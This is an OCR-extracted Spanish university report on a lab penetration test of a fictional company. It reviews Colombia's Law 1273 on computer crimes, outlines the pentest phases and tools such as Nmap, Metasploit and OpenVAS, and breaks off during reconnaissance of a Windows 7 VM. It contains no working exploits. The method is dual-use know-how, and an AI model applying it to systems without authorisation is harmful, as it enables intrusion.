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GLOSARIO
COMANDO: Una orden/instrucciéon (también conocida con el extendido
anglicismo/barbarismo comando

NMAP: Nmap (“mapeador de redes”) es una herramienta de codigo abierto para
exploracion de red y auditoria de seguridad

EXPLOIT: Exploit es una palabra inglesa que significa explotar o aprovechar

LEY: Ley es una declaracion de la voluntad soberana manifestada en la forma
prevenida en la Constitucion Nacional. El caracter general de la ley es mandar,
prohibir, permitir o castigar.

DECRETO: El Decreto es un acto administrativo promulgado por el poder ejecutivo
con contenido normativo reglamentario sin necesidad de ser sometida al 6érgano
legislativo

IDS: Sistema de deteccion de intrusiones

IPS: Sistemas de Prevencion de Intrusos

VPN: Red privada virtual

SIEM: Gestion de informacién y eventos de seguridad

ANTIVIRUS: Los antivirus son programas cuyo objetivo es detectar y eliminar virus
informéticos

FIREWALL: Es la parte de un sistema informético o una red informética que esta
disefiada para bloquear el acceso no autorizado.



INTRODUCCION

Este trabajo es de mucha importancia para las personas que estan relacionadas
con el area de la seguridad informéatica, seguridad de la informacién, seguridad
perimetral, como todas las personas que algun dia se vieron afectados por la falta
de seguridad informatica generando una clara necesidad de todo lo que con lleve a
que la seguridad sea cada dia mas robusta, ya que en él se tratan esos temas a
través de una metodologia de fases en las a que el autor se sumerge para explicar
de una manera facil de comprender el caso expuesto para su analisis, el objetivo
general del trabajo es realizar el diagnostico como consultor independiente sobre el
caso de la empresa the whitehouse security, en donde el equipo de tecnologia
presume que se realiz6 una grave fuga de informacién, por medio de un atague
informatico a una maquina de la empresa y como objetivo especifico nos indican
que se debe realizar el analisis de la situacidon, verificando la informacién
proporcionada por la empresa, y como otro objetivo especifico hacer las
recomendaciones para lograr la mitigacion del ataque o del caso observado a lo
largo del curso.

Esto se realiza desde la perspectiva como miembro del equipo blue team y se debe
presentar las diferentes alternativas de cdmo se debe realizar la mitigacion de este
tipo de casos una vez se presentan, de manera técnica, ética y legal como lo estan
solicitando en los requerimientos de la rubrica de evaluacion, y para eso se utilizaran
una serie de herramientas, procesos, protocolos de seguridad, que se explicaran a
su debido tiempo que se siga avanzando en el tema.



JUSTIFICACION

Este trabajo se realiza para la universidad nacional a distancia, curso o seminario
de Equipos Estratégicos en Ciberseguridad: Red Team & Blue Team, porque se
esta optando por el titulo de especialista en seguridad informatica, para lo cual es
requerimiento este para las personas que optaron por esta opcion de grado y se
debe cumplir con el requerimiento, en el cual se tratan los diferentes temas a lo largo
del mismo de las diferentes ,técnicas, tematicas o0 procesos, protocolos de
seguridad poniéndolos en practica como se observa en este trabajo.



OBJETIVOS

OBJETIVO GENERAL

Objetivo general del trabajo es realizar el diagnostico como consultor independiente
sobre el caso de la empresa the whitehouse security, en donde el equipo de
tecnologia presume que se realizo una grave fuga de informacion, por medio de un
ataque informatico a una maquina de la empresa.

OBJETIVOS ESPECIFICOS

Verificar que leyes se pueden evidenciar fueron omitidas o violadas en Colombia al
momento de presentarse el caso expuesto.

Realizar el analisis de la situacion, verificando la informacién proporcionada por la
empresa.

Describir los pasos que se deben efectuar al momento de hacer un pentesting de
manera ética y legal.

Consultar que tipo de herramientas se pueden utilizar para realizar el pentesting de
manera ética y legal.

Formular las recomendaciones que se deben seguir si se quiere lograr la mitigacion
del ataque si se evidencio el mismo.



PLANTEAMIENTO DEL PROBLEMA

A lo largo de este trabajo se presentaron varios problemas complejos y para iniciar
con el mismo se definié o se realizé la solicitud por parte de la empresa the white
house security que se debe realizar el montaje banco de trabajo para poder llevar a
cabo la utilizacién de herramientas de licencia abierta, y realizar las simulaciones
en un entorno legal y seguro como se menciona en los diferentes anexos o
comunicados por parte de la empresa que se toman como base para realizar el
andlisis correspondiente de la situacion o caso presentado al interior de la misma
en donde se presume de una grave fuga de informacioén, a través de un ataque que
se le realizo a una maquina que es la que solicitan que sea analizada.

FORMULACION DEL PROBLEMA

¢, Se presento fuga de informacién en la maquina analizada mediante el presunto
ataque?



1 METODOLOGIA

La metodologia que se realizo fue por fases iniciando por la conceptualizacion de
las leyes de Colombia.

1.1 LEYES, DECRETOS

Para este cuso 0 seminario en el contexto en el que estamos a lo que se refiere a
seguridad de la informacion, seguridad informética y realizando el andlisis de los
diferentes delitos informaticos en Colombia, el congreso de Colombia crea en el afio
2009 por fin laley 1273 el dia 5 de enero del afio mencionado, debido a que era un
gran vacio en la ley colombiana aunque se realiza un avance frente a los
ciberdelincuentes aun falta mucho por hacer, por ello se observara esta ley y como
podemos apoyarnos en ella, para no caer en malas practicas debido al
desconocimiento de la misma, respetando las buenas préacticas, con ética dentro
del marco legal en Colombia.

Para ello se hace mencion a sus respectivos articulos como lo son:

“Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO. El que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un sistema
informético protegido o no con una medida de seguridad, o se mantenga dentro del
mismo en contra de la voluntad de quien tenga el legitimo derecho a excluirlo, incurrira
en pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de
100 a 1000 salarios minimos legales mensuales vigentes.”.

Esto es aplicable a todo sistema informatico, como lo indica el articulo lo que quiere
decir que esto es aplicable a redes, cableadas, como wifi ya que esto también
comprende sistemas informatico de comunicacibn en los cuales se hace
transferencia de informacion, personal o privada, no interesando los dispositivos
que se utilicen para este efecto, la ley indica que se esta cometiendo un delito que
tiene multa en dinero de 100 a 1000 salarios minimos legales o prisién 4 a 8 afios,
eso segun lo decida el juez que tiene la decision de dictar la una sentencia y
condena segun las pruebas que se presenten.

1 Avance Juridico Casa Editorial Ltda. (s/f). Leyes desde 1992 - Vigencia expresa y control de constitucionalidad
[LEY_1273_2009]. Gov.co. Recuperado el 30 de agosto de 2021, de
http://lwww.secretariasenado.gov.co/senado/basedoc/ley_1273_2009.html



“Articulo 269B. OBSTACULIZACION ILEGITIMA DE SISTEMA. INFORMATICO O
RED DE TELECOMUNICACION. El que, sin estar facultado para ello, impida u
obstaculice el funcionamiento o el acceso normal a un sistema informatico, a los datos
informaticos alli contenidos, o a una red de telecomunicaciones, incurrird en pena de
prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000
salarios minimos legales mensuales vigentes, siempre que la conducta no constituya
delito sancionado con una pena mayor.”.?

Como se viene analizando el articulo anteriormente citados hace mencion a los
delitos informéticos que tienen una condena, por consiguiente es de vital
importancia que todos los ciudadanos en Colombia tengan presente esta ley, porque
el desconocimiento de la misma no lo exonera de la ley, se debe ser muy claro en
este articulo porque los usuarios, por creer que el hacer una interceptacion de las
telecomunicaciones, como es una transferencia de datos que estd en el espectro
electromagnético en el caso de la transferencia de datos por medio de sefiales de
radio, wifi, o el realizar un ataque de hombre en el medio, no tiene ninguna clase de
castigo por parte de la justicia, y en cuanto a las trasmisiones por parte de las que
se realizan por, teléfono, cable coaxial, fibra de vidrio, se les puede aplicar estos
dos articulos a la vez.

“Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. El que, sin orden
judicial previa intercepte datos informaticos en su origen, destino o en el interior de un
sistema informético, o las emisiones electromagnéticas provenientes de un sistema
informatico que los trasporte incurrird en pena de prision de treinta y seis (36) a setenta
y dos (72) eses.”.2

Esto quiere decir que el realizar este tipo e practicas sin una orden judicial pueden
ser penalizados y sin posibilidad de una sancion econémica en Colombia se
presenté un caso que fue famoso por que se le realizo a un politico que se
encontraba en campafia electoral y un hacker(Andrés Sepulveda), realizo la
grabacion de las entrevistas y llamadas telefénicas cuando le hacian los
requerimientos y el pago para realizar esta tarea por cual fue condenado, para mas
informacion sobre este caso puede hacer las consultas en la red o puede ver el
articulo.

“Articulo 269D. DANO INFORMATICO. El que, sin estar facultado para ello, destruya,
dafie, borre, deteriore, altere o suprima datos informaticos, o un sistema de tratamiento
de informacién o sus partes o componentes légicos, incurrird en pena de prision de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios
minimos legales mensuales vigentes.”.*

2 .

Ibid., p.1.
3 Avance Juridico Casa Editorial Ltda. (s/f). Leyes desde 1992 - Vigencia expresa y control de constitucionalidad
[LEY_1273_2009]. Gov.co. Recuperado el 30 de agosto de 2021, de

http://lwww.secretariasenado.gov.co/senado/basedoc/ley_1273_2009.html

4 Ibid., p.1.



Este tipo de delitos no hace referencia a quienes realicen estas acciones tengan o
no conocimiento o formacion para ello lo que hace que cual quiere persona esta en
la posibilidad de realizar un delito informatico, porque como lo indica el articulo
citado, no se trata de solo la parte l6gica de los sistemas sino de su infraestructura
la cual puede ser vulnerada sino esta bien protegida, o a los profesionales que se
extralimiten en sus funciones realizando tares que creen que puede hacer
ocasionado dafios a los mismos sin estar facultados para ello, esto es muy comun
en las empresas en Colombia que por evitar pagar a un profesional idéneo le pide
o el empleado, 0 a un tercero creyendo que al realizar esa tarea sin el conocimiento
realiza cierto tipos de procedimientos que no son éticos o legales sin ningun tipo de
castigo por parte de la ley.

“Articulo 269E. USO DE SOFTWARE MALICIOSO. El que, sin estar facultado para ello,
produzca, trafique, adquiera, distribuya, venda, envie, introduzca o extraiga del territorio
nacional software malicioso u otros programas de computacién de efectos dafinos,
incurrird en pena de prisién de cuarenta y ocho (48) a noventa y seis (96) meses y en
multa de 100 a 1000 salarios minimos legales mensuales vigentes.”.®

En Colombia es muy comun el ver en las empresas que utilicen herramientas para
trabajar de manera pirata como se dice en la calle o que no cuente con su respectiva
licencia para trabajar en dichas empresas, 0 en los hogares de los colombiano lo
gue con lleva no solo un gran riesgo en la seguridad de las empresas y hogares, si
no para los usuarios de los mismos ya que no se sabe qué tipo de alteraciones
tengan esa clase de programas, como el hacer la comercializacion de los mismos
tiene castigo por la ley como lo citamos en el articulo, también la instalacion de los
mismos sin tener una autorizacion y aunque la tengan es el deber de todos los
colombinos el tener la ética de decir no ese tipo de herramientas o de solicitudes
por parte de terceros.

“Articulo 269F. VIOLACION DE DATOS PERSONALES. El que, sin estar facultado
para ello, con provecho propio o de un tercero, obtenga, compile, sustraiga, ofrezca,
venda, intercambie, envie, compre, intercepte, divulgue, modifique p emplee cddigos
personales, datos personales contenidos en ficheros, archivos, bases de datos o medios
semejantes, incurrird en pena de prision de cuarenta y ocho (48) a noventa y seis (96)
meses y en multa de 100 a 1000 salarios minimos legales mensuales vigentes.” 6

Esto esta muy ligado a las personas que se dedican o tiene algun tipo de informacion
sensible ya sea personal o de la empresa o de cierto sector para su provecho, por
lo que es de vital importancia el hacer que los trabajadores firmen y pongan en
practica las clausulas de confidencialidad como la ética de los profesionales y los

5 .

Ibid., p.1.
6 Avance Juridico Casa Editorial Ltda. (s/f). Leyes desde 1992 - Vigencia expresa y control de constitucionalidad
[LEY_1273_2009]. Gov.co. Recuperado el 30 de agosto de 2021, de

http://lwww.secretariasenado.gov.co/senado/basedoc/ley_1273_2009.html



gue no lo son, esto frente a los empleados de una empresa, a las personas que se
dedican a realizar ciertas tareas como mantenimientos de algun tipo de informacion
donde tenga la posibilidad de ver u obtener al tipo de informacion. Esto no solo
aplica a la informacién del trabajo sino a la informacion como lo es los estados
financieros de las personas.

“Articulo 269G. SUPLANTACION DE SITIOS WEB PARA CAPTURAR DATOS
PERSONALES. El que con objeto ilicito y sin estar facultado para ello, disefie,
desarrolle, trafique, venda, ejecute, programe o envie paginas electronicas, enlaces o
ventanas emergentes, incurrird en pena de prision de cuarenta y ocho (48) a hoventa y
seis (96) meses y en multa de 100 a 1000 salarios minimos legales mensuales vigentes,
siempre que la conducta no constituya delito sancionado con pena mas Grave.

En la misma sancién incurrira el que modifique el sistema de resolucién de nhombres de
dominio, de tal manera que haga entrar al usuario a una IP diferente en la creencia de
gue acceda a su banco o a otro sitio personal o de confianza, siempre que la conducta
no constituya delito sancionado con pena mas grave. la pena sefialada en los dos
incisos anteriores se agravara de una tercera parte a la mitad, si para consumarlo el
agente ha reclutado victimas en la cadena del delito.”.”

En este articulo se puede evidenciar que en Colombia falta mucho mas por estas
leyes, o que las leyes se han mucho més fuertes con penas mas extensas para este
tipo de delitos informaticos no se presente con tanta frecuencia como lo hace hoy
en dia, porque de 4 a 8 afios de prision no es suficiente para que las personas tomen
este tipo de delitos como algo grave que se tenga que ver y no realizar la
suplantacién de sitios web ya que desde que sea una suplantacion de cualquier tipo
ya es un delito, captando informacién para asi realizar estafas, robo de informacion,
de dinero o extorsion por la informacion y dafio a bien ajeno.

“Articulo 269H. CIRCUNSTANCIAS DE AGRAVACION PUNITIVA: Las penas
imponible de acuerdo con los articulos descritos en este titulo, se aumentaran de la
mitad a las tres cuartas partes si la conducta se cometiere:

1. Sobre redes o sistemas informéticos o de comunicaciones estatales u oficiales o del
sector financiero, nacionales o extranjeros.

2. Por servidor publico en ejercicio de sus funciones.

3. Aprovechando la confianza depositada por el poseedor de la informacion o por quien
tuviere un vinculo contractual con este.

4. Revelando o dando a conocer el contenido de la informacién en perjuicio de otro.

5. Obteniendo provecho para si o0 para un tercero.

6. Con fines terroristas o generando riesgo para la seguridad o defensa nacional.

7. Utillizando como instrumento a un tercero de buena fe.

8. Si quien incurre en estas conductas es el responsable de la administracion, manejo o
control de dicha informacién, ademas se le impondra hasta por tres afios, la pena de

7 Ibid., p.1.
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inhabilitacion para el ejercicio de profesion relacionada con sistemas de informacién
procesada con equipos computacionales.”.®

Como se mencionaba en el anterior parrafo este es un buen inicio para generar que
los ciberdelincuentes lo piensen al tratar de hacer algun delito informatico de este
tipo por lo mismo se presenta este articulo en el cual se hace la anotacion de
circunstancias de agravacion punitiva del incremento de la pena, lo que significa y
hace ver que cada dia mas la importancia de la masificacion de la informacién para
que esto sea mucho mas de conocimiento publico del que debe ser.

8 Avance Juridico Casa Editorial Ltda. (s/f). Leyes desde 1992 - Vigencia expresa y control de constitucionalidad
[LEY_1273_2009]. Gov.co. Recuperado el 30 de agosto de 2021, de
http://lwww.secretariasenado.gov.co/senado/basedoc/ley_1273_2009.html
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2 ETAPAS DEL PENTESTING

Para realizar un pentesting debemos realizar una serie de pasos l6gicos y procesos
los cuales se analizaran a continuacion:

2.1 ETAPA DE INFORMACION

Esta etapa en la mas importante no solo porque es la primera sino porque es en la
que recolectamos toda la informacién que més se pueda para que las etapas
siguientes sean mas concluyentes, y porgue entre mas informacién tengamos de la
situacion, méas opciones tendremos al realizar los test con las diferentes
herramientas que dispongamos para ello.

Para este caso utilizaremos una que es muy comun y conocida (NMAP) pero que
brinda mucha informacion, en el mercado se pueden encontrar mas.

¢ Qué es Nmap?

‘Nmap (“mapeador de redes”) es una herramienta de cdodigo abierto para
exploracién de red y auditoria de seguridad.”.®

Como se puede ver es una herramienta que es muy utilizada por los administradores
de las redes o auditores, para realizar diferentes actividades como el ver como esta
la red, observar él comporta miento, observar los puertos que estan abiertos y
cuales cerrados, como se puede ver en la Figura en donde hay un ejemplo de como
se hace el escaneo basico de una red.

9 Guia de referencia de Nmap (Pagina de manual). (s/f). Nmap.org. Recuperado el 30 de agosto de 2021, de
https://nmap.org/man/es/index.html
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Figura 1. Ejemplo tipico de analisis con Nmap _

Fuente: Propia

2.2 ETAPA DE VULNERABILIDADES

Con la informacion que se obtuvo de la etapa anterior se inicia a buscar esas
vulnerabilidades en la red.

Para ello se puede utilizar la herramienta como Nessus.
¢, Qué es Nessus?

Es una herramienta o programa de test de vulnerabilidades que sirve para varios
sistemas operativos, que nacié o fue lanzado en el afio de 1998 por su creador
Renaud Deraison, quien queria tener un escaner remoto para la red libre pero ya su
licencia no lo es. Este programa utiliza para realizar el escaneo un demonio o diablo
llamado asi por sus creadores nessusd que se instala en el sistema operativo que
se requiere verificar y Nessus el que muestra como se va desarrollando de manera
gréfica los escaneos, y como se va desarrollando el informe del mismo.*°

10 Familia de productos Nessus. (2019, mayo 14). Tenable.com. https://es-la.tenable.com/products/nessus?tns_redirect=true
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2.3 ETAPA UTILIZACION O EXPLOTACION DE LAS VULNERABILIDADES

Esta etapa inicia cuando las dos anteriores han dado sus resultados para que por
medio de lo que se ha encontrado, o se utilizar la informacion para realizar un ataque
a las vulnerabilidades mucho mas enfatico en ellas se pueda utilizar a favor de quien
esta realizando este pentesting. En esta etapa se puede utilizar la herramienta o
programa Metasploit es muy robusta para este tipo de tareas, porque no solo sigue
realizando escaneo para saber mas informacion esta permite €l envio de ejecutables
en el pc, pero esto no quiere decir que sea la Unica herramienta para ello en el
mercado se pueden encontrar mas.

Figura 2. Programa Metasploit-Linux

ansition/

framework/config/datab

Fuente: Propia

2.4 ETAPA DE INFORME DE VULNERABILIDADES

En la etapa de informe de vulnerabilidades se indica a través del informe las
vulnerabilidades que se encontraron con imagenes, graficos y de las evidencias de
lo realizado, se utiliza cual quiere procesador de texto para este informe, mas no el
como se realizé eso hace parte del conocimiento adquirido por el auditor o el que
realiza el pentesting y las recomendaciones para mitigar esas vulnerabilidades.
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3 HERRAMIENTAS DE CIBERSEGURIDAD

3.1 METASPLOIT

“Metasploit es un proyecto de codigo abierto para la seguridad informatica, que
proporciona informacién acerca de vulnerabilidades de seguridad y ayuda en test
de penetracion "Pentesting” y el desarrollo de firmas para sistemas de deteccion de
intrusos.”. 11

Como se menciond anteriormente es una herramienta de gran valor para los
profesionales de seguridad informatica por sus grandes prestaciones, como lo es al
realizar pentesting de vulnerabilidades en redes como a nivel local a diferentes
maquinas.

Se hace el inicio de la herramienta como lo podemos ver en la Figura siguiente:

Figura 3. Programa Metasploit-Linux

Terminalnro.1

Archivo Acciones Editar Vista Ayuda

ut “sudo msfdb init & msfconsole”
rd fi lex:

s to be already configured, skipping initialization
loit Framework conSole.../

Fuente: Propia

Una vez la herramienta esta lista como se ve en la Figura se inicia el test como se
quiera hacer se puede hacer de diferentes formas, por direccién IP, por nombre de
dominio, puerto.

1 Getting started with Metasploit for penetration testing. (n.d.). Metasploit.Com. Retrieved August 30, 2021, de
https://www.metasploit.com/get-started
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Figura 4. Programa Metasploit-Linux 3

= Terminalnro.1

Archivo Acciones Editar Vista Ayuda

To boldl

one before

- AT v ]
[ 2134 exploits - 1139 auxiliary - 364 post ]
=[ 592 payloads - 45 encoders - 10 nops ]
-—=[ 8 evasion ]

Metasploit tip: Start commands with a space to avoid saving
them to history

Fuente: Propia

Ya una vez estamos en la consola de Metasploit, para ver los comandos se usa el
siguiente simbolo ? nos aparece las diferente opciones y comandos.

Figura 5. Programa Metasploit-Linux 4

Terminalnro.1

Archivo Acciones Editar Vista Ayuda

on useful for debuggi

ed features that can be

history

information about sessi

Fuente: Propia
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Se verifica que estemos trabajado en que espacio se digita Works pace y nos da
como respuesta que estamos trabajando en el espacio por defecto por lo general
Se crea otro espacio para cada proyecto que se trabaje.

Figura 6. Programa Metasploit-Linux 5

Terminalnro.1

Archivo Acciones Editar Vista Ayuda

msf6 > workspace

msf6 > [l

Fuente: Propia

Para este caso o practica se crea los espacios para las dos magquinas que se van a
explotar sus vulnerabilidades Windows 7 de 32 bits y Windows 7 de 64 bits.

Figura 7. Programa Metasploit-Linux 6

Terminalnro.1

Archivo Acciones Editar Vista Ayuda

msf6 >

Fuente: Propia

3.2 NMAP

“Nmap ("Network Mapper") es un cédigo abierto y gratuito (licencia) utilidad para el
descubrimiento de redes y la auditoria de seguridad. Muchos administradores de
sistemas y redes también lo encuentran Util para tareas como el inventario de la red,
la gestion de los programas de actualizacidon del servicio y la supervision del tiempo
de actividad del host o del servicio.”.*?

Esta es otra de las herramientas que se pueden ver en el mercado para realizar
ataques a las maquinas, de facil uso, muy popular en la comunidad, por su
flexibilidad, por puede hacer el escaneo de los puertos si son UDP o si son TCP,
también es capaz de detectar los sistemas operativos de las maquinas atacadas sin
importar su marca, por su potencia es capaz de realizar estos ataques a cientos de
maquinas, de dependiendo de la red que esté trabajando, en muy amigable esta
herramienta ya que su software es compatible con casi todas las versiones de
sistemas operativos en la que se quiera utilizar, siguiendo con las ventajas de esta
herramienta es de facil comprension para los novatos, porque es muy intuitiva, asi

12 (N.d.). Nmap.Org. Retrieved August 31, 2021, de https://nmap.org/
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como también tiene las opciones avanzados para los mas experimentados. Para
continuar con este analisis de la herramienta se tomaran unas imagenes para
observarla mejor.

Figura 8. Herramienta Nmap Locall

alex@kali-Alex: ~

Archivo Acciones Editar Vista Ayuda

rsion detection, script scanning, and traceroute
N d, f

SEE THE MAN g /man.html) FOR MORE OPTIONS AND EXAMPL

Fuente: Propia

En la Figura anterior podemos ver el inicio de la herramienta por medio de la consola
en donde nos indica con ejemplo como se puede iniciar con el escaneo de
vulnerabilidades que se puede realizar por nombre de dominio, direccién IP, o por
namero de puerto, como se ve en la Figura siguiente.

Figura 9. Herramienta Nmap Local2
EXAMPLES:
nmap -v -A sCanme.nmap.org
nmap -v -sn 192.168.0.8/16 10.0.0.0/8
nmap -v -iR 1008@ -Pn 0

SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPL

Fuente: Propia

Para ello las etapas anteriores del pentesting dieron informacién la cual sera de
mucha ayuda para empezar este tipo de ataque.

Se verifica la direccidon de la maquina atacante para saber como esta su direccion
IP, y hacer un respectivo ataque a una maquina que se configuro en un ambiente
seguro y no ocasionar problemas a otras redes, incurriendo en salirnos de la ley
1273.
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Figura 10. Herramienta Nmap Local3

alex@kali-Alex: ~

Archivo Acciones Editar Vista Ayuda

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.7 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 2800:484:7186:bd0:a00 ff:felc 09 prefixlen 64 scopeid 0x0@
<global>
inet6 fe80::a00:27ff:felc:2d09 prefixlen 64 scopeid 0x20<link>
inet6 2800:484:7186:bd0:9894:1a64:4a43:3775 prefixlen 64 scopeid 0x
0<global>
ether 08:00:27:1c:2d:09 txqueuelen 1000 (Ethernet)
RX packets 6 bytes 31018 (30.2 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 290 bytes 31157 (30.4 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 :: prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 16 bytes 880 (880.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 16 bytes 880 (880.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Fuente: Propia
La maquina que se va atacar tiene la direccion:

Figura 11. IP maquina victima

ER® C\Windows\system32\emd.exe
C:\Users“Familia>ipconfiyg

Conf iguracidén IP de Windows

daptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la conexidn. H

Direccidén IPvb . . . . . . . . . . ¢ 28 484:7186:hdB:3c24:a3c :94d5:35f5

Direccidén IPwé temporal. . . . . . = 484:7186:hd@:eB87:d133:debP:d4235

Vinculo: direccién IPv6 local. . . = :3c24:a3c:24d5:35F5x%11

Direccién IPv4. . . . . . . . . . . . . . : 192.168.0.18

Miscara de subred . . . . - e - - - - . T 255.255.255.8

Puerta de enlace predeterminada . . . . . : feBB::28B@:caff:fel1:2233x11
192.168.8.1

Mdaptador de tinel isatap.{450120B6-28B?-4ED4-8BCA—-CEEEZACACC4@) :

Estado de los medios. . medios desconectados

Sufijo DHS especifico para la conexiém. .

IC:\Users\Familia>

Fuente: Propia

Con esta informacion se procede hacer el ataque con la herramienta Nmap vy
observar sus resultados.

Figura 12. Herramienta Nmap Local4 resultado

ap 19
Starting Nmap 7.91
Init g Pi

lapsed (1 total hosts)
[host down]

fusr/bin/ .. /share/nmap
down. If it is ally up, but blocking our ping probes, t

Nmap done: 1 IP address (@ hosts up) scanned in 96 seconds
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Fuente: Propia
Como se observa el escaneo de esa maquina dio los resultados basicos de
informacion, pero con consultas mas complejas se pude saber mucho mas.
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3.3 OPENVAS

“‘Es un escaner de vulnerabilidades con todas las funciones. Sus capacidades
incluyen pruebas autenticadas y no autenticadas, varios protocolos industriales y de
Internet de alto y bajo nivel, ajuste del rendimiento para escaneos a gran escala y
un poderoso lenguaje de programacion interno para implementar cualquier tipo de
prueba de vulnerabilidad.”.3

Openvas es una herramienta para realizar test que nos sirve para observar las
vulnerabilidades que nos muestra de manera Figura y nos da hasta
recomendaciones para mitigar esas vulnerabilidades en las machinas que
queremos realizar un pentesting a continuacion observaremos la instalacion de esta
herramienta en la maquina virtual en el sistema operativo Kali Linux creada para
realizar nuestras practicas. Previamente se tiene que realizar una actualizacion del
sistema operativo para que tenga todas las actualizaciones.

Figura 13. Instalacion de herramienta Openvas

alex(@kali-Alex: =

Archivo Acciones Editar Vista Ayuda

echo
se instalaron de forma automatica y ya

3-ospd

1s

Fuente: Propia

13 (N.d.). Openvas.Org. Retrieved August 31, 2021, from https://www.openvas.org/
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Figura 14. Instalacion de herramienta Openvas 1

alex(@ kali-Alex: ~

Archivo Acciones Editar Vista Ayuda

ended (20

4,2-0kalil) ...
led or a static unit, not star

ic wnit, not starting it.

: )
L T LSS AT

Fuente: Propia

3.4 EXPLOITDB

Explitdb es una base de datos o un repositorio digital en donde reposa y es actualiza
la informacion de los diferentes exploit que se pueden encontrar en la red, esto es
gracias a la empresa offensive security de manera gratuita, donde los hackers
comparten sus conocimientos sobre nuevos exploit o brechas de seguridad que se
pueden encontrar en el mercado en la actualidad.

“Nuestro objetivo es servir la coleccion mas completa de exploits recopilada a través
de envios directos, listas de correo y otras fuentes publicas, y presentarlas en una
base de datos de facil navegacion y disponible de forma gratuita.”'4

14 Offensive Security’'s Exploit Database Archive. (n.d.). Exploit-Db.Com. Obtenido septiembre 3, 2021, de
https://www.exploit-db.com/about-exploit-db
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Figura 15. Pagina oficial Exploitdb.com

o
a
i}
3
-]
o
8
U]
*

*

Fuente: Exploit Database. (s. f.). Exploit-db.com. Recuperado 9 de septiembre de 2021, de https://www.exploit-
db.com/

3.5 COMMON VULNERABILITIES AND EXPOSURES (CVE)

Es una lista de informacién registrada e identificada con CVE-ID que quiere decir
vulnerabilidades y exposiciones comunes con un numero de identificacion, de las
vulnerabilidades conocidas, o publicadas en su top 10 o informe general donde
realizan una descripcion sobres las mismas o del software que se encontré con esas
afecciones, y sus posibles mitigaciones si es que ya se encuentra alguna.

Esta nomenclatura es aprobada y abalada por el Instituto Nacional de Estandares y
Tecnologia (NIST) de los Estados Unidos de Norte América, esta importate tarea la
realiza la empresa The MITRE Corportation que es una organizacién sin animo de
lucro, que le aporta a los Estados Unidos de América soporte sobre tecnologias de
la informacion, investigacion y desarrollo en el &rea de ingenieria de sistemas, por
consiguiente, es el gobierno quien le da el apoyo econémico a la misma.

Figura 16. Pagina oficial CVE - Inicio

Fuente:(Dakota del Norte). Mitre.Org. Obtenido el 3 de septiembre de 2021 de
https://cve.mitre.org/about/index.html
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4 ANALISIS Y PRACTICA TECNICA DE VERIFICACION DE LA
INFORAMCION DE LA EMPRESA THE WHITE HOUSE SECURITY

MEDIANTE EL PROCESO RED TEAM.

Se procede con la primera etapa que es la de recolectar informacién de la maquina
gue se requiere testear, para eso aremos uso de las herramientas que se utilizan
para hacer el ataque a la maquina requerida o previamente instala o emulada, en
una maquina virtual.

Previamente se hace la verificacion de la maquina como se observa para verificar
las condiciones de la misma.

Figura 17. Maquina Atacada

Fuente: Propia

Como se observa la maquina tiene las caracteristicas siguientes:

Sistema operativo: Windows 7 a 64 bits.
Memoria RAM 3 gb
Procesador: Intel Core i3-4130 CPU @ 3.40 GHz

24

.j@. -

Ver informacién basica acerca del equipo
Edician de Windows

Windows 7 Professional

Copyright © 2009 Microsoft Corporation. Reservados todos los

derechos.

Obtener mas caracteristicas con una nueva edicion de Windows 7
Sisterna

Evaluacion: 2071} Evaluacion de la experiencia en Windows

Procesador: Intel(R) Core(TM) i2-4130 CPU @ 3.40GHz 3.39 GHz

Memoria instalada (RAM): 3,00 GB

Tipo de sisterna: Sisterna operativo de 64 bits

Lapiz y entrada tactik: La entrada tactil o manuscrita no esta disponible para esta pantalla
Configuracion de nombre, dominio y grupo de trabajo del equipo

Nombre de equipo: familia-PC '&'Cambiar

Nombre completo de familia-PC cenfiguracion

equipo:

[ S S S R, | jueves, 16 de septiembre de 2021



Esta configurado como lo solicito los anexos anteriores para poder realizar la
practica sin problemas o salir de la parte legal.

Se verifica su direccion ip en la ventana de cmd con el comando ipconfig como se
observa en la Figura 2.

Figura 18. Direccion Ip

Direccién IPu®. - - . - = o - & o o . 192.168.8.13
Mascara de subred . . . . . . . . . . 255 255 _255.8
Puerta de enlace predeterminada . . feBA::20@:caff:fell:=2233x11

i92.168.9.1

Fuente: Propia

Dando como resultado que su direccion ip es 192.168.0.13 lo que significa que esta
en la red local que necesitamos para realizar la practica.

Figura 19. Maquina o Sistema Operativo con el Cual se va a Realizar el Pentesting

Acerca del entorno de escritorio Xfce
Sistema Acerca de Créditos Debian Derechos de autor
kali-Alex

Kali GNU/Linux Rolling
64 bit

416
Debian
Intel” Core™ i3-4130 CPU @ 3.40GHz
3,8 GiB

llvmpipe (LLVM 11.0.1, 256 bits) (3,8 GiB)

Fuente: Propia

Como se observa es una maquina que tiene y como lo solicita la rabrica en
anteriores anexos, y sus caracteristicas son:

e Sistema operativo Kali Linux
e Memoria RAM de 4 gb
e Procesador Intel Core i3-4130 CPU @ 3,40 GHz

Se verifica su direccion ip en una ventana terminal con el comando Ifconfig
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Figura 20 Comando Ifconfig

P,BROADCAST, RUNNING ,MULTICAST> mtu 1580
68.0.7 netmask 255.255.255.8 broadcast 192.168.8.255

Fuente: Propia

26



El resultado del comando nos informa que la direccion ip de la maquina atacante es

192.168.0.7 lo que quiere decir que esta en la misma red local para realizar la debida
practica o ataque.

Se inicia con la herramienta Nmap:

Figura 21. Herramienta Nmap
= alex@kali-Alex: ~

Archivo Acciones Editar Vista Ayuda

> Executing “nmap”

Nmap 7.91 ( https://nmap.org )

Usage: nmap [Scan Type(s)] [Options] {target specification}

TARGET SPECIFICATION:
